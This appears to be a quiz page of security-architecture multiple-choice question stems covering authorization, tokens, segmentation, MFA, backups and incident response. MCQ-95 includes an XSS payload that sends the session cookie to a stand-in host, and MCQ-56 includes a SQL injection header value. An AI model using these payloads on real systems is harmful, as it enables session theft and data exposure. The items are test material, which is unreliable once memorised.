Every question on one page: open one, choose an answer, and see why at once. Signed in, your latest answer to each question counts, and you can answer again after 24 hours.
Curated: · Written: · Reviewed:
Reviewed 100Review pending 0
Answers to reviewed questions count toward this role and the overall leaderboard; your latest answer to each one is the one that counts.
MCQ-21A multi-tenant API authenticates every request in middleware, which sets req.user = { id, tenantId }. Handlers load objects with db.invoices.findOne({ id: req.params.id }). A pen test using tenant A's token fetched tenant B's invoice 1042: GET /invoices/1042 returned 200 with the PDF. The team added tenantId: req.user.tenantId to that handler's query, and GET /invoices/1042 now returns 404. Re-testing with the same token, GET /invoices/1042/notes returns tenant B's notes and POST /invoices/1042/approve returns 200 and flips tenant B's invoice to approved. Which conclusion does this evidence support?⌄
MCQ-4A multi-tenant billing API ships with a threat model of 90 STRIDE rows, all marked 'mitigated', and a signed-off security review. A pentest then shows that a support agent holding only the `support:read` scope can read any tenant's invoices by calling `GET /v1/invoices?tenant_id=<other>`: the handler reads `tenant_id` from the query string and never checks it against the caller's token. The row covering that endpoint was tagged 'Spoofing: mitigated' because the endpoint sits behind SSO login. The team has one sprint before the next release. Which action should it take now?⌄
MCQ-16A payments platform's auth service issues RS256 access tokens carrying an aud claim. After a reporting job's token (aud=reports) was accepted by the payouts API, which checked signature and expiry only, 2,900 payouts worth £410,000 were made over a weekend (figures illustrative). Every API now rejects any token whose aud is not its own. A new token-exchange endpoint accepts any valid access token, re-signs a new token with the auth service's key, and sets aud to the service name the caller supplies in the request body. A reporting job calls the exchange endpoint with aud=payouts and presents the result to the payouts API. What happens?⌄
MCQ-24A mobile BFF's POST /session endpoint accepts any bearer token presented to it as evidence that the user logged in, checking only the signature and expiry. Over 8 days it opened 410 intranet sessions using access tokens minted for a public weather API (aud weather.api, 60-minute expiry). It also refreshes silently, so a user whose last interactive login was 30 days ago still gets a session. Which change closes the class of failure?⌄
MCQ-88An auth service signs 15-minute access tokens with RS256 and puts the key id in the JWT header. Verifiers fetch the JWKS once and cache it for 24 hours (Cache-Control: max-age=86400); they refetch only when that cache expires and do not refetch on an unknown kid. The team is adding a new signing key and wants no token rejected during the switch. What is the shortest time the new kid must be present in the JWKS before the signer starts issuing tokens with it?⌄
MCQ-8A payments service authorizes refunds from a role claim embedded in its access tokens. Access tokens live 15 minutes; refresh tokens live 24 hours and are exchanged without re-checking the IdP. The service's role store syncs from the IdP nightly at 02:00. HR disabled a departing agent at 17:02 and the IdP marked the account inactive at 17:03, but the agent's refresh token kept minting access tokens carrying the refund role, and 84 refunds posted over the next 24 hours until the refresh token expired. Policy requires a leaver's next privileged action to fail within 5 minutes of the HR disable. Which single change meets the policy?⌄
MCQ-22A multi-tenant planning service exposes GET /v2/boards/{boardId}/cards?limit=100&offset=N. The handler loads the board named in the path and returns 404 unless board.tenant_id matches the tenant claim on the caller's token; it then parses the query string into a filter object and binds the query's board_id from filter.boardId whenever that key is present, ignoring the path value for that predicate. A probe runs with a token for tenant 12 (one board, 180 cards) using a 20,000-request budget: each request keeps her own board in the path, puts one of tenant 77's 40 board ids in boardId=, and pages with limit=100. Tenant 77's 40 boards hold 310,000 cards between them, 4,800 of which carry an access token pasted into a card description. Which result does the probe produce?⌄
MCQ-39A team is six weeks from the public launch of a multi-tenant API. Of its 62 write endpoints, 58 build their queries through a shared repository that injects `WHERE tenant_id = :caller`; the other 4 predate the repository and hand-build their SQL. The only security review on the plan is a pentest booked for launch week. Last quarter a similar pentest found 9 missing tenant checks on write APIs; the fix took six weeks and a forced mobile client update, and 3 tenants had been crossed in the wild before it shipped. What should the architect do this sprint?⌄
MCQ-46An API gateway is the only policy enforcement point for a payments API. It validates the caller's JWT, strips any inbound X-User-Id header, and sets X-User-Id from the token's sub claim before forwarding. Each service reads X-User-Id and does no token check of its own. The gateway and a nightly reconciliation CronJob are both deployed by the same Helm release into the edge namespace, and the chart stamps every pod it renders with app.kubernetes.io/name: gateway. Last Tuesday the CronJob POSTed straight to http://accounts:8080/v1/merge with X-User-Id: 4471 and merged 16,000 accounts into one. Which change closes the hole?⌄
MCQ-45A payments platform runs Istio with PeerAuthentication STRICT on all 400 services. A debug pod in the ledger namespace, running under service account debug-sa, calls GET /v1/accounts on ledger-svc and receives 200 with 12,000 account rows. ledger-svc has no AuthorizationPolicy, so Istio's default of allowing all requests applies. Which change closes the exposure?⌄
MCQ-79A canary pod with SVID cluster.local/ns/payments/sa/canary called the gRPC method /payments.Payments/Settle 1,400 times over 20 minutes and moved 9,200 test pennies against live merchant endpoints. The payments namespace has one AuthorizationPolicy: action ALLOW, selector app: payments-api, from principal cluster.local/ns/payments/sa/settlement-worker, to operation /payments.Payments/Settle. No other authorization policies exist in the namespace. The legitimate settlement worker is cluster.local/ns/payments/sa/settlement-worker. What should the architect change?⌄
MCQ-94A queue feeds 40 worker pods. Each pod pops raw bytes from Redis and calls pickle.loads, running as a Kubernetes service account bound to cluster-admin. Six producer services enqueue jobs. The team adds an HMAC-SHA256 tag over each job's payload bytes, verified before pickle.loads, with one shared key distributed to all six producers. A red team compromises one producer and reads the key from its environment. What can they now do?⌄
MCQ-29An auth service and a vendored webhook delivery agent share one 32-byte secret K. The agent, unchanged this quarter, signs each outbound webhook as X-Sig: base64url(HMAC-SHA256(K, body)), where body is exactly the JSON bytes it is handed. Password-reset links carry token = base64url(payload) + "." + base64url(HMAC-SHA256(K, payload)); /reset/confirm splits on the dot, recomputes HMAC-SHA256(K, payload) over the decoded bytes, compares in constant time, then trusts payload.sub ("user:<id>", and ids appear in public profile URLs) and payload.exp. No pending-reset row is consulted. Encodings are unpadded base64url on both sides. Any user can point their org's webhook at a URL they control and POST /webhooks/test with arbitrary JSON to read the X-Sig header the agent produces. Which change closes the account-takeover path for an attacker who can do exactly that and nothing more?⌄
MCQ-15A Dockerfile copies a `.env` file holding a live database password into `/app/.env` at layer 7, then layer 9 runs `rm /app/.env`. The image is pushed to a shared registry that 30 developers pull from and mirrored to a public registry. A scanner that inspects the running container's filesystem reports no secrets. Where is the live password still retrievable?⌄
MCQ-52A payments team's Terraform config creates its RDS Postgres instance with `password = random_password.db.result`, and the S3 backend stores the state object with SSE-KMS. During a review an engineer downloads the state and finds the 32-character database password in cleartext in the `aws_db_instance.payments` attributes. The team wants the credential to stop appearing in state, without rotating it by hand every quarter. Which change achieves that?⌄
MCQ-28A service keeps 12,000 tenant records in S3 under KMS envelope encryption. The writer calls GenerateDataKey with EncryptionContext {"tenant": <current tenant name>, "recordId": <id>}, stores the wrapped data key in the object's metadata, and discards the plaintext key. A nightly re-index job runs under one role holding kms:Decrypt on the key and s3:GetObject on the bucket; it reads the wrapped key from metadata and rebuilds the encryption context from the tenant table plus the record id. Last quarter the job decrypted all 12,000 records. This quarter it fails on 480 of them with InvalidCiphertextException from kms:Decrypt. Every failing record belongs to a tenant renamed in the last 90 days; the other 11,520 decrypt normally. The objects themselves have not been rewritten since last quarter. What is the cause?⌄
MCQ-14A payments service runs 60 pods across three Kubernetes clusters and calls an internal audit API with one static bearer token stored in a Kubernetes Secret and mounted into every pod; the token expires yearly. During an incident, the on-call finds the token was used at 03:00 from an IP outside the clusters' egress range, and the audit API's logs show only the service account name, with no pod or replica. The team must change the credential so that a copy taken out of the cluster stops working within minutes and every call can be traced to the pod that made it. Which change meets both requirements?⌄
MCQ-3A payments platform runs 22 microservices. A sidecar terminates mTLS at the edge and mints one service token that every downstream call presents. Last month the sidecar's client certificate was copied out of a debug dump; for 31 hours, 9 downstream APIs accepted tokens minted from it and £2.4M moved. The architecture diagram shows TLS on every arrow. Which change removes the trust-boundary failure the incident exposed?⌄
MCQ-17An internal API gateway terminates SSO and issues a 12-hour session cookie; behind it, every service in the 10.20.0.0/16 VPC accepts any request arriving from inside the VPC. A cookie stolen from a managed laptop was replayed from an unmanaged device on the corporate VPN and exported 62,000 HR records in 90 seconds. Which change would have blocked that export?⌄
MCQ-18An internal admin console issues a 12-hour session token after a single device-posture check at login; policy requires EDR present and disk encryption on. Last month a laptop passed at 09:00, its user uninstalled EDR at 12:12 to install a game, the session stayed valid, and at 18:05 that session exported 9,400 payslips. Which change stops the 18:05 export?⌄
MCQ-63A zero-trust rollout sends managed-laptop browsers through an identity-aware proxy that logs one SSO subject per request. The payroll API at 10.8.2.44 accepts any source in 10.0.0.0/8 and logs every request. For March the API log holds 55,000 requests; the proxy's SSO log holds 12,000 requests to the API's hostname. A contractor laptop on the corp VLAN fetched 10.8.2.44 directly and got 200. Which conclusion does the evidence support?⌄
MCQ-20An incident review found that a compromised CI runner on the flat 10.0.0.0/8 network scanned 14,000 hosts on 443 in under 10 minutes, found an unauthenticated admin UI on the internal package registry, and pushed a backdoored library that 26 production services pulled within 6 hours. The team has one release train to change the network so that the next compromised host, whatever it is, cannot reach the hosts this one did. Which change does that?⌄
MCQ-2A payments platform isolated its 9 gating assets (code-signing keys, the KMS root, and recovery credentials) on a dedicated admin plane 14 months ago. Last week's red-team exercise reached 4 of the 9 in under 6 hours by pivoting from a facilities kiosk that shares a VLAN with the admin plane's management interface. The critical-asset register still has 212 entries, including the kiosk. The team has budget for one control this quarter. Which response does the evidence support?⌄
MCQ-19A payments platform keeps cardholder data in a PCI VLAN and vendor support in a separate VLAN with no allow rule between them. Both mount the same logging NFS export read-write. Flow logs show a vendor host reading a debug copy of a card file from that export; 1.1 million PANs sat there for 8 days. The team's proposed fix is to add an explicit deny between the two VLANs. Which statement about that fix is correct?⌄
MCQ-62A red-team drill on a 4,000-seat estate: the operator coerced the print server PRN01 into authenticating over NTLM to file server FS01, relayed the captured response to FS02, and read a share holding 12,000 HR records. Repeating the drill from a user VLAN workstation, a server VLAN jump host and a VPN client all succeeded, and coercing a user workstation instead of PRN01 worked too. NTLM cannot be disabled estate-wide because a line-of-business application still requires it. FS01 and FS02 both have SMB signing set to 'not required'. Which single change closes the demonstrated path?⌄
MCQ-92During an incident review, a packing line stopped for 16 hours. The corporate IdP was compromised; the attacker used a domain service account `hist-sync` that was exempt from MFA to log on to two Windows historians joined to the corporate forest. The historians push data to corporate BI over a firewall rule that also permits RDP from corporate subnets to the OT jump host. The vendor support contract requires interactive access within 15 minutes. Which change best closes the path that stopped the line before the next release train?⌄
MCQ-72A 4,200-seat company sends all employee traffic through a SASE vendor's cloud pop. Every seat holds the vendor's ZTNA licence and the console reports zero trust at 100%. A contractor's laptop, managed and posture-compliant, authenticated at the pop, then reached 10.4.0.0/16 directly and pulled 8,800 files from the HR share in 70 minutes. The pop's tunnel terminates on a data-centre VLAN that carries every internal subnet. Which change addresses the class of failure?⌄
MCQ-86A 60-instance web tier was dual-stacked last sprint. The base image hardens SSH by writing a drop-for-tcp-22 rule and an allow-for-tcp-443 rule into the IPv4 table; the IPv6 table was left at the distro default, an empty ruleset with an ACCEPT input policy. Three weeks on, a v6 scan of the tier answers 22/tcp on 22 hosts (the other 38 have no public v6 address yet), auth logs show 41,000 SSH attempts and 3 successful logins against those hosts, and the SIEM's v4 SSH-attempt tile is flat at 0. The tier must stay reachable over v6, because 12% of sign-in traffic now comes from v6-only clients. Which action closes the exposure for the whole tier, including the 38 hosts still to receive v6 addresses?⌄
MCQ-68A release train is 30 days out. The security team will isolate the crown-jewel VPC using the CMDB as the blast-radius map. The CMDB covers 140 of the 200 assets in that VPC. A discovery sweep of the 60 assets not in the CMDB finds 40 EC2 instances, 6 of them internet-facing admin panels. The isolation design assumes the CMDB is complete. What should the architect do?⌄
MCQ-69A payments team retires a partner-facing billing API. They power off the VPN concentrators, delete the DNS records, and close the vendor accounts. Nine days later, monitoring shows 18,000 invoice records were pulled through the API from an address in the retired partner's /24. The API's TLS certificate, issued three years ago, is still valid, and the partner's IP allow-list rule is still in the firewall. Which action should the review require before the service is declared decommissioned?⌄
MCQ-44A 12-person SRE team shares one cluster-admin kubeconfig in ~/.kube/config on laptops that also run Outlook and a browser; the laptops sit on the office network. In a red-team drill, a phishing payload on one laptop read that file and, with the cached token, deleted 180 workloads across 12 namespaces in 12 minutes. The team can ship one control this quarter. Which one makes the next drill fail?⌄
MCQ-11A company has rolled out PAM/PIM just-in-time elevation for production servers with 60-minute grants and isolated admin workstations. Helpdesk laptops still cache Domain Admin tokens for 10 hours. An attacker stole one helpdesk laptop, used the cached token to reset 64 privileged passwords, and planted a GPO that persisted for 13 days. Which control gap allowed the 64 password resets?⌄
MCQ-9A bank's red team ran an adversary-in-the-middle proxy against 40 finance staff on SMS OTP: 32 typed their credentials into the lookalike page, 26 submitted the SMS code, the proxy relayed 26 live sessions, and 3 of those reached the supplier-payment console. The same drill against 40 staff on FIDO2 security keys: 32 typed credentials, 0 sessions established. The bank has 900 SMS users, 120 FIDO2 keys in stock, and an audit in 6 weeks. Which rollout should it run?⌄
MCQ-10At a payments firm, a treasury admin signs in with a phishing-resistant FIDO2 key. On Saturday an attacker calls the helpdesk, gives the admin's date of birth from a 2023 breach dump, and gets a new FIDO2 key enrolled. The ticket shows one agent and no second approver; the new key is active 11 minutes after the call. Two Faster Payments transfers totaling GBP 1.6m leave before the out-of-band confirmation rule is reached. The IdP logs the recovery as a self-service password reset, not as a privileged event. Which recovery architecture change should the firm make?⌄
MCQ-34A 2,300-person company runs email and file sharing on a SaaS suite that holds a current SOC 2 Type II report. SSO is licensed but the tenant still accepts local passwords alongside it for all 340 staff accounts, and vendor support engineers hold standing tenant admin rights with no approval step. A credential dump exposed 12 staff logins, 4 of them tenant admins. An attacker signed in with a local password, created a mailbox forwarding rule, and copied 90,000 messages over 28 days; a customer complaint, not monitoring, surfaced it. The failover tenant ships with the same defaults. Which response set fixes the architecture that failed?⌄
MCQ-12An Azure tenant runs PIM: 400 users are eligible for the Owner role, activation requires approval and expires after 1 hour. A quarterly review finds 37 users still hold Owner as a permanent assignment, added by a 2023 migration script. In the 5 weeks since, those 37 accounts created 14 public storage accounts; one exposed 8.2 million customer email records. Which conclusion does the evidence support?⌄
MCQ-41A 4,200-person company's SOC runs a quarterly access review: it samples 30 accounts from the HR joiner/leaver feed and checks that access was revoked within 24 hours of the last day. All four quarters passed. A full-population reconciliation then found that of 1,860 leavers in the year, 214 still had a live VPN certificate or SSO session more than 24 hours after their last day (median 9 days), and 380 contractors were never in the sample frame because they are not in the HR feed. What should the architecture board conclude?⌄
MCQ-73A payments platform has 340 engineers. An access review finds 62 accounts with standing production access, 9 of which can approve a payout in the admin UI with no second approver, and 3 vendor accounts holding copies of the SRE role. Last quarter an SRE identity exported 14,000 payout rows to a personal mailbox; a colleague noticed 11 days later, not monitoring. The payout API cannot be changed this quarter, so the 9 approver roles keep standing access. Which change removes the most loss path this quarter?⌄
MCQ-91A proposed executive exception keeps FIDO2 security keys as the primary factor for the CEO but allows an SMS code to the phone on file when the key is unavailable. The CEO's SSO session is trusted by the finance tool for wire approvals up to 4 million dollars. A red-team relay exercise measures one quarter of 240 CEO logins: 20 logins use the SMS fallback, 15 of those 20 are in scope for a wire approval, and 30 of the 220 FIDO2 logins are in scope for a wire approval. The relay yields a valid session on 20 of 20 fallback logins and approves the wire on 15 of 15 in-scope fallback rehearsals. On the FIDO2 logins, the relay yields 0 of 220 sessions. If the exception ships as proposed, what does the exercise predict for the quarter?⌄
MCQ-50A payments company's production database has 11 standing admin accounts held by its managed-database vendor. Logs show 4 were used in the last 90 days, none of the sessions were recorded, and 2 belong to engineers who left the vendor 8 months ago. The contract promises a 15-minute response on P1 incidents, and the vendor's tooling has no just-in-time access feature. What should the team do?⌄
MCQ-13A payments team is reviewing a change that replaces its shared break-glass vault with split control: two officers hold halves in separate HSMs, any use pages the security on-call, and the credential rotates on a quarterly schedule. Team policy requires a break-glass credential to be invalid within one hour of the incident closing. In a drill the page fired at 14:02, both halves were produced by 14:05, and the rotation procedure completed at 14:41. Three weeks later an audit finds a break-glass use at 03:12 on a Sunday: the page fired at 03:12, on-call acknowledged at 03:14, and the credential stayed valid until the next quarterly rotation 17 days later. Which statement should the review accept?⌄
MCQ-40A payments platform's decision record for partner token lookups, approved 20 months ago, recorded the assumption 'partner stays reachable over the private interconnect' and a review date 12 months out. Nobody ran the review. The partner moved to public endpoints 8 months ago, and a security review finds 3.1M token lookups over that window crossed the public path without mTLS. Fourteen other services copied the same template. Which action addresses the class of failure rather than this instance?⌄
MCQ-5A risk register scores every item as likelihood (1–5) × impact (1–5); two items both score 9. The board can fund one control programme this year from a £250,000 budget. The risk team's FAIR analysis gives: Item A, credential stuffing against the customer portal. 90% confidence of 2–6 loss events a year, each costing £40k–£120k. Item B, a misconfigured object-storage bucket exposing marketing assets: 90% confidence of 0.2–1 loss events a year, each costing £15k–£60k. Which funding decision does the analysis support?⌄
MCQ-6A payments API ships in 12 days. A design review finds the object-level authorization check missing on the refund endpoint. The estate's risk policy requires any acceptance of residual risk to name an officer whose remit covers the harm, to expire within 90 days unless the board extends it, to include compensating monitoring that has fired on a probe, and to state a closure condition. The board has not extended any expiry this quarter. The payments risk officer's remit covers card-present fraud only. The engineering manager's remit was extended this quarter to cover all payments harm, including refunds. Which acceptance record satisfies the policy?⌄
MCQ-66A payments platform reports residual risk to its board as a 40-cell probability/impact heat map each quarter. The identity-plane ransomware scenario has sat in that map's top score band for six consecutive quarters, and the operational risk committee has minuted it as a top-3 risk every quarter in the same period. The board's risk appetite statement requires a funded treatment with a named owner for any exposure above appetite. Over those 18 months the board approved £14m for a data-centre migration presented as a one-page case with a cost, an owner and a completion date, and approved £0 of new security capital. Last week identity-plane ransomware took payments down for 14 days at a direct loss of £8.4m; the treatment that closes the exposure was costed at £600k when it was deferred 18 months ago. On that record, what was missing from what the board was given?⌄
MCQ-67A platform group of 34 services ships 60 releases a week. Security review is a mandatory 90-minute slot with one of two AppSec engineers, booked in the last sprint before release, and each engineer runs three slots on a working day, so the gate covers 30 reviews a week. Last week 41 of the 60 releases shipped on a review-pending waiver and the median release waited 9 days for a slot. The review of last year's 26 confirmed production security incidents found that 22 were the same missing ownership check on a REST handler, written by hand in each service, and 4 were novel classes in first-of-their-kind code; the 22-class cost 4 days to fix when caught before merge against 3 to 6 weeks when caught in production. Which plan fits this evidence?⌄
MCQ-43Salish Pay is a 400-engineer payments company that has run the same security roadmap for five quarters. Spend is up from USD 1.1M to USD 2.2M, deployed security tools from 9 to 14, secure-coding completion from 81% to 97%. Admin accounts sign in with a password plus an SMS one-time code. In each of the five quarters an independent red team phished an admin password, relayed two SMS codes, and reached domain admin in 40 minutes; the same route carried the Q4 breach, which cost 3 days of settlement downtime. Q6 has budget for exactly one funded initiative. Which one should it be?⌄
MCQ-75Meridian Pay, a hypothetical UK payments firm, holds a cyber policy with a GBP 20m limit, a GBP 250k retention, and an endorsement excluding loss 'arising from compromise of an internet-facing system that does not enforce multi-factor authentication.' At renewal, the identity programme was deferred by two quarters; six of its 40 internet-facing hosts still accept password-only logins, and the partner SSO is one of them. An attacker signs in to the partner SSO with a credential-stuffed password, deploys ransomware, and causes a 12-day outage costing GBP 9.4m. The insurer denies the claim, citing the endorsement. What should the team conclude about the claim and do next?⌄
MCQ-76A payments platform has 310 open security exceptions. The median age is 14 months, 40 are older than 90 days, and the oldest is a public RDP exception for a vendor that was the entry point for last quarter's incident. The release train is in two weeks. Which action is defensible?⌄
MCQ-57Over a four-hour window a sign-in service recorded 2.4 million failed passwords spread across 3,000 source addresses, none exceeding 12 requests/min against the edge's 30/min per-IP cap; the only 429s of the window came from a 3,000-employee office whose shared address peaks at 34/min at 09:00. The attempts covered roughly 800,000 usernames, and 1,850 of those accounts were signed into from an ASN never seen before on that account, with SMS MFA off on all 1,850. The campaign was still running when the window closed. Which change addresses what this data shows?⌄
MCQ-56A payments API sits behind a WAF whose managed SQLi rule set inspects the URI, query string, cookies, and the first 8 KB of the request body. The service reads the `X-Tenant` header and builds `SELECT balance FROM accounts WHERE tenant = '<value>'` by string concatenation. A red-team request with `X-Tenant: acme' OR '1'='1` returns all 440,000 rows in 18 minutes; the WAF log reads `action=allow, rules_evaluated=142, body_inspected=true`. The same payload in the query string (`?tenant=acme' OR '1'='1`) is blocked. Which diagnosis fits the evidence?⌄
MCQ-55A payments gateway calls a central policy service for every authorization decision, with a 200 ms client timeout; the service's p99 is 45 ms. A bad deploy made the policy service return HTTP 500 for 6 minutes. The gateway's client treats any error as 'allow', so 12,400 calls to /v1/transfers went through, 380 of which policy would have denied (frozen accounts). The risk committee now requires that a repeat must not let through a transfer policy would deny, while /v1/balances (95% of traffic, read-only) must keep answering through a policy outage. Which change meets both requirements?⌄
MCQ-60A payments dashboard ships an `export_all` flag. The React client fetches the flag from a config endpoint and hides the Export All button when it is off; the flag has been off in production for a month. A red-team engineer with an ordinary user token calls `GET /api/v1/exports?all=true` 40 times and downloads 1.2 million rows (30,000 rows per call) while the flag service reports `export_all` off throughout. Which change contains this?⌄
MCQ-97Between 02:10 and 03:40, a loyalty API endpoint POST /points/redeem logged 21,000 redemptions from 3,400 accounts. Every request carried a valid OAuth bearer token, the same User-Agent as the store build (4.2.1), and a TLS JA3 fingerprint matching OkHttp 4.12. The source IPs were 40 residential proxies. The store build made 38,000 legitimate redemptions in the same window, mostly 1-2 per account. The APK embeds a static API key that can be extracted. The endpoint validates only the bearer token. Which change actually closes the gap?⌄
MCQ-85`api.example.com` sets `Access-Control-Allow-Origin` to whatever the request's `Origin` header contains and `Access-Control-Allow-Credentials: true`. The session cookie is `SameSite=Lax; Secure`. The SPA at `app.example.com` calls the API with `credentials: 'include'` and cannot change its fetch code this quarter. A page on `blog.example.com`, a user-content subdomain on the same registrable domain, ran the same fetch and read `/v1/me` for 1,240 signed-in visitors over 48 hours. Which single change should the review accept?⌄
MCQ-93An admin API at api.example.com authenticates with a session cookie set SameSite=None; Secure because the console is served from admin.example.net. CORS reflects the request Origin with credentials enabled. The JSON parser also accepts text/plain and application/x-www-form-urlencoded bodies. A pentest page on evil.com POSTed a form with enctype="text/plain" to /admin/invite; the browser attached the admin cookie and 120 staff were added to the attacker's tenant over two days. The console can send any headers, and an internal batch job that posts text/plain with a service token must keep working. Which change closes the hole without breaking the console or the batch job?⌄
MCQ-95At jobs.example.com, recruiters open uploaded CVs at /uploads/<uuid> on the same origin. The upload service sets Content-Type by running a content-sniffing library over the stored bytes, not from the filename. A pentest uploads a 512-byte file named resume.pdf whose body is <html><script>fetch('https://collect.evil/?c='+document.cookie)</script></html>. The response is Content-Type: text/html; the script runs on jobs.example.com and reads the recruiter session cookie, which has Domain=.jobs.example.com and no HttpOnly. The team must still let recruiters preview genuine PDFs inline. Which change set removes this attack for the same uploaded bytes while preserving that preview?⌄
MCQ-90pay.example.com renders its card form inline in the checkout document. The page's own HTML loads one third-party script, a tag manager container; at runtime that container injects three more tags from two other vendor origins, one of which is analytics. CSP runs in report-only with script-src 'self' https:. During a red-team drill, a modified analytics build served from the vendor's CDN read the card field as it was typed and POSTed 40 test values to a host the allow-list already permitted. Which change most reliably keeps live card values out of reach when the drill is repeated?⌄
MCQ-98A payments SDK ships a session-replay module that records DOM snapshots into a telemetry store retained 30 days. A 500-session test of the checkout flow finds 12 replays whose payload contains the CVV, because the mask selector list covers `input[name=card-number]` but not the card form rendered inside a cross-origin iframe. The same iframe card form is embedded on the account-update and guest-checkout routes, and the store is read by the growth team from outside the cardholder-data environment. Which change closes the gap?⌄
MCQ-96A finance admin's laptop is infected with malware that lets the attacker drive the victim's browser and read its cookies. The console issues a 12-hour bearer session cookie with no binding and no step-up on refunds. The attacker replays the cookie from the victim's own machine (same User-Agent, same source IP, same browser profile) and approves 44 refunds of $1,200 each over 90 minutes, about one every two minutes. The theft is not noticed until 11:00, when the session is revoked. The admin's FIDO2 security key is on their keyring, not the laptop. Which change would have stopped the refunds?⌄
MCQ-83A payments service ran with DEBUG_BODY_LOGGING=1 for 26 days. Its logs shipped to a SIEM that 60 contractors can query. The pipeline captured 1.4 million Authorization headers and 44,000 PANs. The service owner asks what to do first. Which action set is correct?⌄
MCQ-59A payments team refreshes staging nightly with a full clone of the production Postgres: 6.4M customer rows carrying live card PANs and customer emails. Staging runs under the same IAM roles as production, and 40 engineers and contractors have shell access. A review finds an intern's personal AWS key in a staging env var with read access to the clone's S3 export bucket, and 6.4M emails were copied to a personal bucket over one weekend. Staging must keep reproducing a bug class that depends on collisions between real merchant IDs at production scale, and compliance now forbids live PAN or customer email outside production. Which change satisfies both constraints?⌄
MCQ-1A payments platform labels its cardholder table `Restricted`. A quarterly audit samples 20 flows that carry the label at creation and walks each through backup, export, restore and delete. All 20 carry the label into the nightly backup, 7 carry it into the analytics export, and none carry it into the support-ticket path, where 2,160 rows were copied over 11 days and the copies outlived the source table by 6 years. What does the audit establish, and what is the right next step?⌄
MCQ-30A team deletes a customer's row from the `users` table and closes the erasure ticket. Two weeks later a support agent searches the customer's email in the internal console and gets the full profile back; a spot check of 50 erased customers finds 38 still reconstructible. The search index is rebuilt nightly from the feature store, which still holds 18 months of clickstream events keyed by the same user id, and the nightly backup restore test rehydrates the row. Which action actually completes the erasure?⌄
MCQ-31A team keeps 35 days of immutable nightly backups. Erasure deletes the subject's row from the primary database and appends the subject ID to a suppression list that the restore tooling is supposed to apply before a snapshot is promoted to production. During an outage last month an engineer promoted a 12-day-old snapshot straight to production with the suppression step skipped; 3,100 erased subjects were served for 11 hours, 400 of whom had cited threat-to-life grounds. Which change addresses the failure that produced the 11-hour exposure?⌄
MCQ-74An email sidecar writes raw recipient addresses to a bucket using a shared write key held by four services. Its config sets 13-month retention; the service's DPIA records 30 days and names three processors. Flow logs for the same 30-day window show five distinct egress destinations. A researcher scrapes 1.1M addresses from the bucket, whose ACL is public-read. Which action does this evidence require?⌄
MCQ-77A card issuer runs DLP with no classification or handling model: one regex pack, at the email gateway and in the endpoint agent, matches any 16 contiguous Luhn-passing digits. Removable media is monitor-only and its events are routed to no queue. The gateway fires 18,000 alerts a week; two analysts triage about 1,500 of them and the rest auto-close unanswered after 30 days. A 500-alert sample held 12 genuine PANs. This quarter's plant of 20 PAN documents blocked 6 on the email leg and 0 on removable media, the email misses being scans and password-protected archives, and an audit found 400 PAN spreadsheets on removable media in the field with no ticket raised, the numbers written as 4-4-4-4 groups. The exit criterion is at least 18 of 20 planted documents blocked or alerted on every supported egress path, with the queue under 2,000 alerts a week. What should the review require?⌄
MCQ-84A SIEM keeps 30 days of hot indices and then deletes them; there is no archive tier. On day 45, legal places a hold on a custodian whose activity spans days 1–45. The team proposes raising hot retention to 90 days and calling the hold satisfied. Which assessment is correct?⌄
MCQ-36A ransomware incident encrypted ERP. Backups are immutable and meet RPO 15 minutes. The recovery team restored ERP to production from the latest backup in 4 hours, meeting the 4-hour RTO. At minute 40 after cutover, the attacker's SSO app registration reappeared; at hour 6 a second encryption began. Forensics confirms the backup set includes that app registration and a scheduled task, and a clean pre-compromise identity export exists. Which recovery plan should be approved?⌄
MCQ-37A ledger service runs PostgreSQL 16 on a single primary VM. A nightly pg_basebackup starts at 02:00 into an object-storage bucket, and archive_command ships completed WAL segments to the same bucket. The backup dashboard shows 334 consecutive successful jobs, all green. At 16:11 a rack failure destroys the VM and its disk. The team restores the newest base backup and replays the archived WAL: the cluster starts, its newest posting is timestamped 02:11, and replay stops there. The ledger is back online at 20:17, and the service's stated RPO is 5 minutes. Which finding should the incident review record?⌄
MCQ-65A payments platform has claimed an 8-hour RTO for two years, evidenced by quarterly tabletops that all passed. Last week the team ran its first destructive rehearsal, restoring the primary database into a clean account: the database restore took 6 hours, rebuilding the identity provider took 29 hours, and a service-mesh DNS record the runbook never listed cost 4 hours of manual discovery. Total elapsed recovery was 39 hours. What does the rehearsal establish?⌄
MCQ-61A payments platform runs 40 API hosts behind one internal NTP server that has been unreachable for three weeks, so hosts free-run on their own drift. In an incident review, a token revoked at 14:02:11 was still accepted by the verifier for 860 requests until 14:13:40, and the merged SIEM timeline placed the attacker's login after the account lockout. The auth host's clock was 11 minutes fast; the verifier's was 11 minutes slow. Which change would have prevented both symptoms?⌄
MCQ-99A 30-minute change window ends at 02:40. At 02:10 a typo in the new deny rule for C2 domain bad-c2.example ships in EDR policy bundle v42 to 12,000 endpoints. The rule also blocks the agents' management channel, so the console shows zero telemetry from those 12,000 endpoints since 02:10. The 3,000 endpoints still on v41 are reporting normally. A rehearsed rollback artefact to v41 restores the management channel in 10 minutes. A corrected bundle v43 that keeps the C2 block and fixes the typo needs 90 minutes to sign. Policy bundles are signed and tamper-protected; local edits are rejected. A network DNS sinkhole for bad-c2.example is already deployed and can be updated in 5 minutes. A database snapshot from 01:00 contains v41 and all exceptions; restoring it takes 25 minutes and does not change policies already pulled by endpoints. Which action fits the situation?⌄
MCQ-64After a near-miss, a payments platform replayed its helpdesk-reset-to-domain-admin path on all 11 services. On the nine carrying a domain-admin entitlement, the path completed in 11 to 24 minutes and the controls the design lists as enforced, admin MFA and DC segmentation, never blocked it. In the 10:00 run on service 7 the operator reached domain admin at 10:18 and EDR alerted at 11:02; the estate logs MTTD against a 90-minute SLO, so service 7 went in as within target. Which action addresses the class of failure the replay exposes?⌄
MCQ-35A payments company's SOC ingests 40 TB per month from 9,000 endpoints and reports 96 percent MITRE ATT&CK coverage from a rule-to-technique mapping exercise. A red-team drill then generated 20 techniques drawn from the two tactics the crown-jewel architecture depends on: 6 produced no event in the SIEM, 6 produced an event but no rule fired, 5 fired a rule whose alert named no user or asset, and 3 fired with context and followed a documented containment action verified in a drill. Which conclusion do the results support?⌄
